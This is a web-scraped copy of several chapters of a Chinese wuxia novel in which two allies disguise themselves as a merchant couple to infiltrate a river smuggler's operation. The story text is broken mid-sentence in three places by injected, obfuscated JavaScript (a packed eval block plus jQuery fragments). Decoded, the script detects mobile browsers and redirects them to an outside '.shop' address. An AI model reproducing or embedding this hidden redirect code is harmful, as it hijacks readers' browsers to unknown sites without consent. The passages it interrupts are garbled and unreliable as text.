“岑掌柜，”他脸上堆起热络笑意，自顾自说道，“前晌听您说起家里姊妹有难，小弟不才，在码头地界倒也认得几个朋友。” “不知可否有幸同令姊照上一面，日后若有商机，也可互通有无。” 岑立雪打量他一眼：“哦？小兄弟有心了。只是我这表亲此行并非小打小闹，须得寻个足够稳妥的大庄家。” “见你年纪轻轻，也有此门路？” 钱串子点头如鸡崽啄米：“掌柜的您且放心，小弟明白。不瞒您说，小弟如今正跟着黑水帮做事，里头大人物最喜结交的，便是令姊这般豪商。” 岑立雪故作权衡，几番言语来往，既未应下，也不全然回绝。见钱串子面露焦急，才施施然开口：“美意心领。然此事关乎表亲身家，我需先与她商议一番。” “若她有意，再劳烦小兄弟居中牵线。” “好说，好说！”钱串子大手一挥，又神秘兮兮添了句，“掌柜的务必转告令姊，我主子行事最是谨慎，凡大宗买卖，都须得当锣对鼓商议清楚，万不可由旁人传话。” “面谈？”岑立雪挑眉。 “正是，”钱串子笃定，“道上的规矩。掌柜的知晓，这泮安城里的水，深着呢。” 送走心满意足钱串子，岑立雪倚在柜上，思绪不歇。不知钱串子主子于窜天蛇座下地位几何，既如此谨慎，想必图谋不小。 夕阳余晖敛去踪迹，暮色如轻纱笼来，将街景遮得灰蒙。只远处几点灯火，在渐浓夜幕间明明灭灭。 * 是夜，阳春阁灯火通明，映亮两道对坐身影。岑立雪言简意赅，将日间种种悉数道来。 “由此可见，窜天蛇如今是又贪又怯，既要补上黑水帮亏空，又疑神疑鬼，非亲见不能安心，”她端起杯盏，呷一口易枝春所斟清茶，眸中光华内敛，“有风险不假，却也是条直白路子。” 易枝春静坐听罢，缓声道：“惊寒所言极是。然则，你那表亲乃是无中生有，你我二人又当如何入局？” “风放了出去，索性坐实这‘无中之有’。” “自漳苏而来，有绸缎生意……平洲兄，立雪意同与你扮作我这一对‘表亲’夫妇。”末二字咬得自然，再平和不过。 “夫妇？”易枝春眸光略动，不多时便化作了然，“如此，确不易惹人猜忌。” “漳苏富庶，绸缎利厚，夫妇同行打理生意，自是寻常。”他沿着岑立雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823582|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思路铺陈，“只是，既为夫妇，内外分工性情样貌，皆需考量。我久居云韶府，生意场上的机锋应对，恐怕……” “自然是我来，”岑立雪接了话头，神色坦然，“女子掌管家中生意，本就不在少数。我出面周旋，合乎情理。平洲兄，你只需假作沉疴在身不良于行，做个闲散郎君，只必要时露面。既打消旁人疑虑，也便于隐匿行事。” “那便有劳夫人了。” “夫人”二字有如清风拂弦，易枝春言罢却是一怔，旋即垂了眼，执起案上茶壶，欲再斟茶，才觉壶已半空，不免乱了方寸。 岑立雪将他窘态尽收眼底，心下莞尔，就此调侃：“这声‘夫人’听着倒还顺耳。” “只望‘夫君’日后在人前，莫要唤得如此生涩。免得叫旁人瞧出端倪，知你我并非新婚燕尔，而是假扮琴瑟。” 易枝春轻声应了“好”，再抬头已复平素温雅，只耳根薄红未褪，在灯下依稀可辨。 “惊寒提醒的是，我记下了，”他轻咳一声，重将交谈引回正轨，“既要扮作绸缎商，路引，货单，并几匹漳苏锦缎，我或可设法备办。背景来历，也需得细细斟酌，务求滴水不漏。” “布样与官面文书由平洲兄操持，自是稳妥。”岑立雪颔首，“行头车马，落脚之处，兼你我二人过往枝节，便由我来筹措。” “惊寒思虑周详。” 易枝春道：“不过，此前所言‘沉疴在身，不良于行’恐有不妥，若是终日卧榻，又如何行至泮安？称我寻常体弱，畏风惧寒，精力不济便可。” “如此甚好。若是平洲兄露面，也可说是使了家传秘药，强提一口元气……” 岑立雪眼波微转，落在易枝春面上，时隔数日，再度轻巧试探：“想必于平洲兄而言，配些无害丸药，并非难事。” “非也，幸而云韶府私库充盈。”易枝春避之不答，转而虑及另一重，“且慢，泮安地界多有识你我形貌者，恐是隐患。” “此事不难，我早年行走江湖，略知易容乔装皮毛。虽改不了骨相，易去肤色眉形，添些皱纹斑点，却是轻而易举。再辅以合宜衣饰口音，只要不遇上极为相熟之人，当可瞒天过海。” 计议大抵商定，阁内一时静下，只闻灯烛燃烧毕剥。二人对坐，一从容自若，一风仪端雅，方才那点微妙波澜，已悄然融入默契之间。 少顷，岑立雪站起身：“平洲兄，若无他事，我便先回去了。” 易枝春颔首，亦随她立于灯影之中。行至门边，岑立雪忽又驻足，并未回首，只望向廊外沉沉夜色：“不知泮安天光，几时大亮。” “夫君，这出戏既已开场，你我可都需卯足精神。” 月色灯烛交织，于岑立雪周身圈勒清辉。易枝春唇畔噙着浅淡笑意，应诺沉静如水：“但凭夫人安排。” 岑立雪不予回应，提了步子迈过门槛，身形迅捷落入廊外浓沉灰暗中。夜风犹带凉意，捎了玉兰余香，抚掠鬓边碎发，却吹不灭眼底光亮。 行船入水，波折重重。左不过是撑篙放缆，她与易枝春两相照应，倒也不惧那窜天蛇翻浪弄潮。 8.鬼船盐枭（四） 铜镜照骨画皮，难映人心。 六出酒肆后院密室，岑立雪抬袖拭去鉴上灰尘。她从木匣中取了几只瓷瓶，将其中赭石粉与铅白同鱼胶混合，再经指尖蘸取，以内力将其熥至温热，而后均匀敷在面颊与颈间。 如此一来，肤色便与平素大不相同。岑立雪犹嫌不够，又持细毫笔蘸了黛青，沿眉骨轻轻描画，将原本飞扬眉形压低拉长，添上几笔极浅的细纹。 不过一盏茶的工夫，镜中已是张三十来岁妇人面容，只一双眼清明锐利如旧。岑立雪垂下眼帘，光华掩去大半。 她颇为满意，转而将散发挽作漳苏一带常见圆髻，再插了根半旧金簪。揽镜自照片刻，确信再无破绽，岑立雪才推开密室暗门，从酒肆后巷悄然而出。 * 春日泮安，自有一派鲜活气象。 自岑立雪去往云韶府那一日起，便鲜少再有余暇。今儿个去寻宅院，倒也补足了城中游逛闲趣。 河畔垂柳抽了新芽，嫩黄中透着浅绿，于晨风里柔软拂动。街角桃梨绽了零星花苞，胭脂似的点在灰瓦之间。 挑担农人沿街叫卖，筐里是带着露水的荠菜春韭。早点铺子热气腾腾，岑立雪弯一弯眼眉，摸出铜钱要了几个刚出笼的包子。 她步履从容，一面咀嚼，一面思索居所事宜。既扮作漳苏客商，喧阗之地自是不利栖迟。院落宽敞为好，门户亦需严整，前后若能通达，更是上选。 这般居所，寻常牙行未必有，岑立雪亦不欲张扬，便凭着对泮安风土了解，往城南清静地界寻去。 岑立雪穿过数条巷弄，走了约莫半个时辰，正见一户门楣挂有“赁”字木牌。 此宅院门虚掩，里头隐约传来妇人絮念。岑立雪抬手叩门。 应门的是个六十上下的阿婆，面相精明，上下打量过岑立雪，神情热络些许：“娘子有何贵干？” “听闻此处宅院召赁，特来看看。”岑立雪捎上漳苏口音。 “娘子快快请进。” 院落青石墁地，墙角一株老槐才抽新叶。虽只一进，却因中有天井而显得格外敞亮。 天井丈许见方，头顶白日，石板缝里冒出茸茸青苔。四水归堂，独成一片清静天地。 岑立雪便是在天井下停住了。 无锋山上，师尊拨给她的住所里，也有一方天井。自天井西望，便见谷间云海翻涌，亦听得松涛阵阵，如歌如诉。 “惊寒，”师尊呼唤犹在岑立雪耳畔。记忆里，邵不容总一副严肃面目，偏待她极是温和，“你心性稳，耐得住寂寞。这处院落僻静，最宜练剑，亦适合养心。往后，这便是你的地方了。” 岑立雪就此初定萍踪，将无锋门视作归途。她练剑读书，品酒煮茶，看云聚云散，听松涛不歇——那间院落，托起了她此生少有的安宁光阴。 自师门遭难，岑立雪藏身泮安市井，松涛云海便再难入梦。 酒肆前堂人声鼎沸，后院逼仄狭隘，不过是歇脚藏身的壳子。而她的家，已经不在了。 不曾想，今日在这宅院里，一方陌生天井，几许春日景致，竟似为岑立雪背后添上羽翼，生生托着她飞回旧忆，一念往昔。 “娘子？”阿婆问询将她唤回，“娘子意下如何？” 岑立雪敛去眼底恍惚，神色平静地点了点头：“尚可。不知租金几何，能否即刻入住？” 一番交涉过后，岑立雪付了定金，又问得阿婆车马行处所。易枝春既要称病，少不得以车驾代步，岑立雪于响鞭里雇了辆青篷，同掌柜讲定随用随到。 大件落定，起居物什亦需采买。她赶往城西街市，一气购得杯盘碗盏并床帐被褥，文房四宝兼时兴花草。 黑水帮来往漕运，多得是审慎之人，做戏便要做全套。岑立雪如是思量，连米面油盐都往新赁宅院备了些许。 一切办妥，日头也将西沉。岑立雪利落卸去所易之容，复了本来面目，空手归返六出酒肆。 * 黄昏时分，正是六出忙碌光景。堂内人声鼎沸，伙计们个个穿梭不歇。岑立雪才落座柜里，韦安翎便端着一摞空碗从旁经过。 韦安翎见她回来，脚步顿了顿，蹭到岑立雪身旁，低声关切道：“掌柜的此趟回来，翎儿瞧着您脸色有些倦。” “是累着了，还是心里头牵着什么事？” 岑立雪微微一怔，抬了眼，见韦安翎眉头微蹙，晶亮眸光里裹着真切担忧。 她心头酸软，抬手轻轻揉了揉韦安翎发顶，语调是不作假的温和：“只是在外头走走，见了春日景致，偶然……” “想起些旧事罢了。” “旧事？” 是啊，无锋门种种，都已成旧事了。 韦安翎眼神清澈执拗，岑立雪望见，思绪不觉翩然又起，落进二人初遇黄昏。 彼时岑立雪才为街坊送罢酒，归返途中，在街角瞥见团露了絮的破袄。走近一看，才知是个瑟瑟发抖的小姑娘。 她于料峭春寒中蜷着身，怀里抱一个包袱，脸冻得发青，嘴唇皲裂，唯有一双眼亮得灼人。 岑立雪在那双眼里，看见了从前的自己。 许多年前，无锋山间朔风怒号，流浪至此的她饿得眼冒金星，不得不窝进破庙，以冰充饥。严寒裹了肚肠，催得岑立雪浑身僵直，可她眼里还是蓄了火，直烧着漫天风雪。 自然，岑立雪没烧来春天。却等到了她的师尊，无锋剑客邵不容。 来不及多想，岑立雪已朝那孩子走去。她蹲下身，什么也不问，只牵了通红小手，引着人往六出酒肆。一如当年邵不容抱她在臂弯，一步一步，登上无锋山顶。 恻隐以外，传承早已融进骨血。岑立雪心中默念：“若是师尊还在，定也会如此为之。” 出神良久，岑立雪眼睫颤了颤，只对韦安翎温言道：“翎儿无需担心，我好得很。” “这几日，我要出趟远门。酒肆就辛苦你和几位伙计照应了。” 韦安翎拍拍胸脯：“掌柜的放心！” “若是遇上什么难事，”岑立雪又叮嘱，“可去对街寻赵掌柜商量。我给你的东西，务必随身带好。记着，护住自己最是要紧。” “翎儿都记下了。” * 入夜，六出酒肆后院传来叩门之声，间隔长短有致。 岑立雪放下门闩，见院外站着个仆役打扮的精悍男子，不等问询，对方便沉默递来只青布包袱。 待她接下，男子便提了步法消失不见。岑立雪探看一圈，见四下无人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827786|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，才回到房中，就着灯光解开包袱。 最上头是几张路引，详细载明了“漳苏客商林晗京偕夫贝氏”之籍贯年貌，路经关卡。接着是叠货单，罗列各色锦缎名目价码，笔迹各异，显然仿了不同掌柜。 至于这最底下，便是数枚绸缎片样。雨过天青杭罗，缠枝莲纹花缎，并正红织金锦，皆是光泽内敛，触手油滑冰凉，确系漳苏上品。 岑立雪一抖包袱皮，拾起一纸笺。其上易枝春亲笔，字迹清隽如竹：布匹扎眼，恐打草惊蛇，暂存云韶府，唯以片样示之。问惊寒安好，诸事慎行。 此人办事果然妥帖。岑立雪笑笑，再仔细验看过一回，又将包袱重新系好。 睡意全无，岑立雪索性不再歇下。她换上一身夜行衣，直运轻功掠出酒肆。 * 夜色如砚中浓墨，泮安城沉入酣眠。岑立雪避开通衢大道，步履轻悄，似狸奴踏瓦。 新赁宅院虽隐在深巷，然白日已记熟路径，不过一刻，黑漆院门便近在眼前。她未走正门，只绕至东侧墙根，足尖一点砖面，腾起入院。 院落浸了月色，与白日已是两番光景。 岑立雪于天井中央驻足，仰头望去。天穹间疏星几点，夜风拂来梨花香气，老槐筛影有如碎银。 她忽想起什么，转身进了正房。置办物什堆在角落，她从中提起一坛，其间非六出烈酒，而是街市所沽桃花酿。岑立雪又寻了只粗陶碗，就月光在阶前坐下。 酒液倾入碗中，色泽浑浊，香气也平淡。岑立雪毫不介意，仰首饮了，温辣滚过喉头，落入腹中，暖意便徐徐散开。 邵不容善酿。无锋山后有片野桃林，每至早春，她便带岑立雪采花，封坛后埋于树下。来年启封，酒色清冽，桃香沁脾。 “酒如剑意，初尝凛冽，再品回甘，”师尊总说，“惊寒，待你年长，或也可咂出旁的滋味。” 可岑立雪二十余年只尝出凛冽。师门惨祸后，埋于树下的数坛桃酒，也不知何时再启了。 她放下碗，自怀中摸出一物。此物巴掌大小，黢黑粗砺，正中阴刻一柄长剑，正是无锋门信物。 这是邵不容给她的头一样东西。那年岑立雪初入无锋门，师尊便将信物交予她：“女子执剑，当顶天立地。” “无锋门人，剑在心中，不在形制。可锋芒毕露，当机立断。亦可藏锋守拙，伺机而动。” 岑立雪指尖抚过刻痕，仿佛触及师尊当年掌心温热。她蛰伏市井日久，敛尽锋芒，所伺正是眼下时机。 院外更鼓隐约，已是子时，岑立雪收了信物站起身。泮安城南没有无锋门，这赁来的院落更做不了家，可她需要这样一处地方。 需要卸了掌柜皮囊独处一夜，浊酒以敬回不来的故人。而后将怀念压回心底，再以另副面孔入局。 岑立雪提起桃花酿，将余下酒水缓缓倾于阶前青石，任由其覆了隙间浅苔。而后，她对着空茫夜色，极轻地说：“师尊，立雪敬您。” 槐树枝叶沙沙作响，岑立雪立在风里，衣袂微扬。待最后一点酒气散尽，她推门进了正房。 屋内无灯，岑立雪径自和衣躺下。窗外梨花香气似有还无，更鼓又响了一回。 无锋剑已拭罢，而今只待出鞘。 9.鬼船盐枭（五） 晓风拂过院落，老槐叶簌簌轻响。正房里，镜中所映女子面貌寻常，平和沉静。 岑立雪收拾停当，转而瞥向端坐窗畔的易枝春。他一早便来了，此刻一身素白中衣，长发半束，正静静望着她“林晗京”扮相。晨光勾勒其清瘦侧影，确有几分久病之人的单薄。 “平洲兄，到你了。”岑立雪提起易容匣子，行至他身前。 易枝春微微颔首，闭目仰面，一副全然交托之态。 岑立雪先以温热帕子为其净面，她熟稔调和过赭石铅白，敷至易枝春面颊。 二人如此之近，岑立雪自看得清易枝春长睫轻颤，亦可嗅见他身上丝缕香气。然她心无旁骛，手法利落，不消片刻，易枝春轮廓便被修饰得敦厚许多，肤色也变作病弱之人特有苍白。 她执起细毫笔，正要描画眉形，手腕却倏然顿住。只见易枝春额角有道浅淡疤痕，平日许由长发遮盖，是以岑立雪未曾觉察。 这疤痕不长，却走势凌厉，似是利刃所留。 “此伤，”岑立雪笔尖虚点，“倒是隐蔽。” 易枝春未睁眼，只淡淡道：“陈年旧伤，不妨事。有劳惊寒稍作遮掩。” 岑立雪却未立刻下笔。她端详那疤痕，忽然开口：“这位置刁钻，若再偏下半分，便要破相了。不知是杀手索命，还是醉客寻衅？” 话音落下，岑立雪才觉出几分不妥。金开轩之手倒也罢了，若是后者……风月场中，清倌遭醉客纠缠至此，并非光彩之事。 “立雪并无他意，只是想着，平洲兄琴技冠绝云韶府，少不了抛头露面。若是被旁人瞧见这伤，恐怕有损清仪。”她随口找补。 易枝春闻言，竟轻轻笑了笑：“惊寒想岔了。” “此伤是我少时意外所留。” “云韶府并非等闲之地，旁人擅闯阳春阁，唯惊寒所见一遭。我初时抚琴，皆在屏风之后。客闻琴音，不见抚琴之人，自免去诸多麻烦。” “后来……”他依旧合着眼，“因故需得露面，幸而有长发遮掩，并无人着意疤痕。” 寥寥数语，却透出许多未尽之意。岑立雪不欲追问，只提笔蘸了与肤色相近的膏脂，沿旧伤走向轻柔晕染。不过几回，疤痕便隐没无踪。 “好了，”她退后半步，让出铜镜，“平洲兄且看。” 易枝春这才掀了眼。镜中人与云韶府易大家相去甚远，二十七八年纪，或因久病而神色疲惫，好在眉眼温厚，中和了阴郁。 “夫人妙手。”易枝春便当自己是“贝氏”了。 岑立雪取来件靛青直裰，递予他：“夫君且更衣罢。钱串子那头，我已托人回了信，巳时三刻于此相见。算算时辰，倒也快了。” 易枝春接过衣衫，于屏风后更换。再现身时，已是位衣着朴素的寻常商贾。 二人于厅中相对而坐，面前摊了路引货单。 “漳苏府清江县人士，林晗京，年二十九，夫贝氏，年二十七，”岑立雪如数家珍，“家中三代从事织造，与飞华庄关系匪浅，主供杭罗，花缎，织金锦。此行携纹银千两，欲打通泮安至北地商路。” 易枝春低咳两声，接道：“货单所列，雨过天青杭罗二十匹，缠枝莲纹花缎三十匹，正红织金锦三十匹。预定交割期，两月后。” “今日会面，夫君可称服了家传秘药，强提精神，但需适时显露疲态，”岑立雪抬眼看他，“话不必多。若是提及码头关节，漕运细则，你可听我话风，一并应对。” “明白。”易枝春又掩唇清嗓，肩背微佝，极尽病弱之态。 岑立雪环顾周遭。锦缎样品搭于酸枝木椅背，案上半盏温茶，屏风后箱笼若干。不错，她又将路引货单折了折，压在镇纸下。 万事俱备，只欠黑水。 * 巳时三刻，叩门声响。 岑立雪与易枝春对视一眼。易枝春以手扶额，眉心微蹙，气息更弱了几分。岑立雪则整了整衣襟，面上端起爽朗笑意，快步走向院门。 院外并非花里胡哨钱串子，而是一面容精悍中年男子。此人肤色略黑，穿一身深灰棉袍，身后跟了两个随从，一左一右守在门外，沉默如桩。 “可是林掌柜？”中年男子行礼。 “正是，阁下是钱公子……” “鄙姓吴，钱小哥的掌柜。”男子跨过门槛，扫视院落各处，“听闻林掌柜夫妇远道而来，有意在泮安觅些商机，特来拜会。” “原是吴掌柜，久仰。”岑立雪引他往正房厅堂走，“寒舍简陋，快请里面坐。夫君病弱，前些日子又染了风寒，若有怠慢，还请吴掌柜海涵。” 厅中，易枝春已扶着桌案起身，朝吴掌柜微微拱手，虚弱道：“贝某抱恙，失礼了。” “贝先生客气，请坐。”吴掌柜还了一礼，目光于易枝春苍白面色上停留一瞬，便转向厅内陈设。 宾主落座。岑立雪亲自斟茶，是市面常见炒青，香气平平。 “吴掌柜请用茶，”她将茶盏推过去，笑了笑，“我夫妇二人初到泮安，人生地疏，生意场上门道，还要仰仗您指点。” 吴掌柜端起茶盏，却不急饮，只道：“林掌柜言重了。泮安客商多如过江之鲫，然如林掌柜这般，一来便安顿得如此妥帖的，却是不多。” 这话似赞似探。岑立雪神色不变：“我二人做绸缎生意，走南闯北惯了，又有本家小妹帮衬，落脚还算顺当。” 她适时叹了口气，眉间染上愁色，一引话头：“泮安此地水陆通达，然寻条稳妥商路，竟比漳苏还难上几分。关卡多，规矩杂，码头上力夫把头，个个都不是易与的。” 吴掌柜吹了吹茶沫，啜饮一口：“林掌柜是明白人。泮安临水，漕运便是命脉。命脉捏在谁手里，谁便是龙头。旁人想要插足，自然不易。” “正是此理。不瞒吴掌柜，我手里这批货，在漳苏也算上品，本想趁着北地春市卖个好价钱。可如今……唉，若是寻不到可靠出路，耽搁了货期，莫说赚钱，怕是连本金都要折进去。” 她说着，拾来椅背上锦缎样品。 吴掌柜：“林掌柜的货……” “吴掌柜是行家，不妨掌掌眼。” 他放下茶盏，接过缎样。先是就光细看纹理，又以指腹反复揉搓面料，再凑近鼻端，轻嗅其上染料气味。 半晌，吴掌柜放下缎样，神色缓和些许：“雨过天青杭罗，经纬密实，晕色自然。缠枝莲纹花缎，纹样清晰，手感厚重。正红织金锦，金线匀细，光泽内敛。” “确是漳苏老手艺。” “吴掌柜好眼力！”岑立雪抚掌大赞，再添筹码，“漳苏飞华庄老东家，与我外祖母有些交情。他家师傅至今仍守古法，一匹杭罗，需得用上靛蓝苏木黄檗，反复浸染数日，方得雨过天青之色，经久不褪。市面寻常布匹色泽虽亮，却浮得很，洗过两水便走样了。” 她语调平和，只当闲聊掌故，那边吴掌柜则听得眸光微动。岑立雪知道，鱼上钩了。 “林掌柜家学深厚，心悦诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837372|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服。不知……此番路引货单，可否一观？鄙人并非信不过掌柜，只是江湖规矩，谨慎为上。” “理当如此。”岑立雪自镇纸下抽了物什，坦然递过。 厅内一时只闻纸页窸窣，并易枝春间或低咳。 岑立雪见状，从暖窠中拎了壶，为易枝春续上半盏温水，温声嘱咐：“夫君，药力若过了，便歇歇，莫要强撑。” 易枝春接过杯盏，低声道句“有劳夫人”，抿了口水便靠向椅背，闭目养神，眉宇间倦色深重。 吴掌柜将这一幕收在眼底，手上查验未停，疑虑散去。他将一应文书递回，更为客气：“林掌柜见谅，事关重大，不得不慎。” “都是生意人，自当理解，”岑立雪笑容诚挚，“不知这批货，吴掌柜可否指一条明路？” 吴掌柜并未立即作答。他端起已凉的茶，慢慢饮尽，瞥一眼昏昏欲睡易枝春，又抬眼望向岑立雪。 “林掌柜爽快，贝先生也实在。” “您二位从外埠来，或许不知，我泮安水路，另有一番章程。” 岑立雪神色一肃，倾身细听。 “寻常货物，走走码头，打点些银钱，也就罢了。然您这批货，数目不小，质地上乘，想走漕运北上，牵连关节众多。最终能否成事，需得‘天上那位’亲自掌眼。” “天上？” “便是我们这行的东家。他老人家，寻常不露面，只在水上见客。” “水上？”岑立雪蹙眉。 “正是。”吴掌柜定定瞧着她，“明晚亥时，漕河下游，芦苇荡外，有小舟来迎。” “切记，只准二位东家登船，禁绝随侍，亦不可兵刃傍身。” 岑立雪沉默片刻，似在权衡。她看一眼身旁以袖掩唇轻咳的易枝春，最终转回头：“好。” “我夫妇二人当入乡随俗，明晚准时赴约。” 吴掌柜拱手道：“既如此，鄙人便回去复命。” “有劳吴掌柜。” 送走吴掌柜及随从，院门重新合拢，四下重归寂静。 易枝春缓缓坐直了身子，疲态如潮水般褪去。虽仍是易容后的敦厚面孔，眸中却已一片清明。 “天上那位，”他望向岑立雪，“必是窜天蛇无疑。” 岑立雪回了厅堂，窗外日头渐高，光明晃晃落进天井，将青石晒得发白。她想起无锋山上，师尊教她练剑：“惊寒，剑出之前，需静如沉渊。动静之间，一念而已。” 筹备至今，方可动此一念。 “惊寒，”易枝春再唤，“既有言‘不可兵刃傍身’，搜身查验恐是必然。寻常软剑飞针，怕都难逃眼目。” 岑立雪挑眉：“平洲兄有何见解？” 易枝春自袖中抻来一玉盒：“此物名曰‘青丝缠’。”他开了盒盖，内里衬有墨绿丝锦，其上并排躺着三枚细若发丝的玉针。 “乃寒玉所琢，性极脆，遇血即融，不留形迹。藏于发髻衣领，寻常搜查难以发觉。每枚可用一回，近身直取要害，方有奇效。是绝境之器，非决胜之兵。” “那便由平洲兄收着罢，如阳春阁中飞子，出其不意，攻其不备，”岑立雪旧事重提，语调里听不出波澜，“立雪有拳有脚，足应万事。” “陆上规矩太多，水里反倒干净。” 过堂风穿窗而入，捎来隐约市井喧哗。模糊如隔水听涛，反倒衬得院落宁静，其心坚韧。 只待明夜潮生，月隐波心，小舟送她林氏夫妇赴此幽冥水上局。 10.鬼船盐枭（六） 亥时，芦苇荡外。 夜色浓稠如墨。白日里河道繁忙，此刻只余远处零星渔火，于无边黑暗里明明灭灭，恍若鬼眸。 岑立雪与易枝春并肩立在河湾畔。二人皆已易作林氏夫妇，四下芦苇轻响不绝，倒将低声交谈遮了严实。 蓦地，芦苇深处，一叶扁舟悄然荡出。 舟身漆黑，前头孤零零悬一盏油灯。灯色昏黄，火苗如豆，映出个佝偻身影。 此人身披破旧蓑衣，头戴斗笠，低低压着，看不清面目。他沉默以撑长篙，手上缓慢却稳极，篙尖入水起落，几乎听不见声响。 小舟稳稳停靠，船夫依旧垂着头，只将枯瘦手臂从蓑衣下探出，朝岸上二人做了个“请”的手势。 岑立雪目光一扫过，见此船身虽小，吃水线却颇深，船舷外侧有数处浅白痕迹，想来多有磕碰。不像打渔所留，反类接驳摆渡之用。 她与身侧人交换过眼神，易枝春微微颔首，面色于灯火下更显苍白，一手虚握成拳抵在唇边，似是忍着咳意。 岑立雪面上谨慎，朝船夫略一拱手，便率先撩起衣摆，踏上小舟。她落脚时暗自使了巧劲，一蹬一收，小舟则稳当如初。易枝春随其后，抬脚时身形晃了晃，被岑立雪及时扶了臂弯。 “夫君小心。”她低声叮嘱，关切自然。 船夫待二人坐定，长篙一点岸边淤泥，小舟便轻巧调头，朝芦苇荡深处驶去。 一入苇丛，天地骤然小了。两侧芦苇墙立，黑影幢幢，头顶稀疏月光已遭隔绝，唯沙沙声响并着水腥，兜头笼了过来。 水道错综如迷宫，弯岔频频，深浅难辨。船夫却毫不慌张，撑篙转向避让暗礁，如臂使指。 岑立雪端坐舱中，看似放松，实则周身内力已暗暗提起。耳畔易枝春吐息沉静，蜷了身靠过来，岑立雪揽着他，方知其并未卸力。 约莫一炷香后，小舟穿过最末一道苇墙，眼前豁然开朗。 此处水面开阔，静泊于中央的，赫然是一艘船。 此船修长，其身较之寻常漕船更为低矮，通体漆黑，与接驳小舟如出一辙。船舷极高，两侧伸出数对桨架，黑沉沉融于夜色。 正是水上鬼魅，来去如风快蟹船。 小舟靠上快蟹船侧舷搭板，船夫终于停了篙，而后缓缓转过身。岑立雪以为此人欲引路，却见他慢慢挺直了脊背。 船夫抬手摘下斗笠，又一扬蓑衣，露出里头一身青灰劲装，布料紧束，勾勒出干练精悍身躯。肩宽臂长，绝非平凡老者。 他抬起了头。 此人约莫五十上下，皮肤黝黑，唇畔纹路深如刀刻。颧骨高耸，一双眼睛精光内敛，睨来犹显冷硬。 “林掌柜，贝先生，”他开口，嗓音沙哑却并无老态，反而力道沉浑，“久等了。” “某家姓田，承蒙道上朋友抬爱，唤一声‘窜天蛇’。” 快蟹船舷风灯骤亮，那身蓑衣斗笠委顿在地，与此人气势判若云泥。 岑立雪心中凛然。好一个窜天蛇！亲自操舟接引，如此“礼遇”，确是个十足的下马威。 不多时，她拱手朗声道：“田当家好手段！这幽冥摆渡，虚实相生，着实让我夫妇开了眼界。佩服，真是佩服！” 岑立雪赞叹由衷，只当自己是个大胆客商，乍遇奇事，不惊反喜。既接下这出戏，又顺势捧了窜天蛇一手，搅了蒙蔽其中的微妙气氛，往江湖同道之赏识上引了引。 窜天蛇面目严肃，只眼底深潭掠过微光。他侧身，又是一请：“舱内叙话。” * 快蟹船内并非杂乱匪巢，反而整洁非凡，毫无冗余之物。四角站了高大健硕黑衣仆役，如同泥塑，吐息几不可闻，真合了码头大嘴巴所言。 窜天蛇大马金刀坐了上首，岑易二人则依礼于下首落座。 “林掌柜是爽快人，”窜天蛇开门见山，“布样路引皆已验过，便闲话少叙。泮安这条水路，肥则肥矣，凶险却也倍增。不知林掌柜凭何以为，田某要接下你这批货？” 试探这便来了。 岑立雪身形朝前一倾，手肘撑于案上，眼神不避不让迎向窜天蛇，光彩尤盛。 “田当家这话问在点上，但凭三样。” “其一，货硬。我漳苏林氏三代积累，亦有飞华庄帮衬，吴掌柜掌过眼，想必田当家也心里有数。我寻的不是一锤子买卖，是长久通路，货若次了，砸的是自家招牌，断的是往后财运。” “其二，钱足。”岑立雪爽朗一笑，“纹银千两，只是定金，验的是田当家路子。只要水路畅通，往后，我绝不让田当家空担风险。” “其三，”她话锋一转，目光炯炯，“也是最要紧的，我夫妇二人懂规矩，更敬本事。江湖行走，靠的不是空口白话。” “田当家能在泮安水道上立起‘窜天蛇’名号，让官私两路都睁只眼闭只眼，便是本事凭据。我们找的，正是当家这般豪杰。” “就是不知……” 岑立雪刻意顿了顿：“田当家胃口，是否真如传闻所言，吞得下我林氏往后经略？毕竟，晗京要的，可不是三两趟的小打小闹。” 反将一军。窜天蛇此人素有声名，质疑其运力野心，恰恰彰显自身图谋。 窜天蛇听罢，缓缓开口：“田某胃口，不劳林掌柜挂心。” “倒是林掌柜同飞华庄交情不浅，可知他家三年前与福貔庄那桩官司，是如何了结的？”此人陡然转向织造秘辛，何其刁钻。 岑立雪神色如常，闻言甚至嗤笑一声，摇了摇头：“田当家消息灵通，身在泮安，竟连漳苏鸡毛蒜皮也晓得。” “那场官司……面上是飞华庄赔了银子，折上几笔生意。可内里谁人不知，福貔庄管事后头栽了大跟头，连命都丢了。” “飞华庄不过是舍了些浮财，根子可没伤着。不然，你我如今哪里还能坐在这里，谈他家绸缎？” 她字字笃定，仿佛亲身经历。这自然是易枝春所备文书中紧要一环，此刻由岑立雪信手拈来，成了有力佐证。 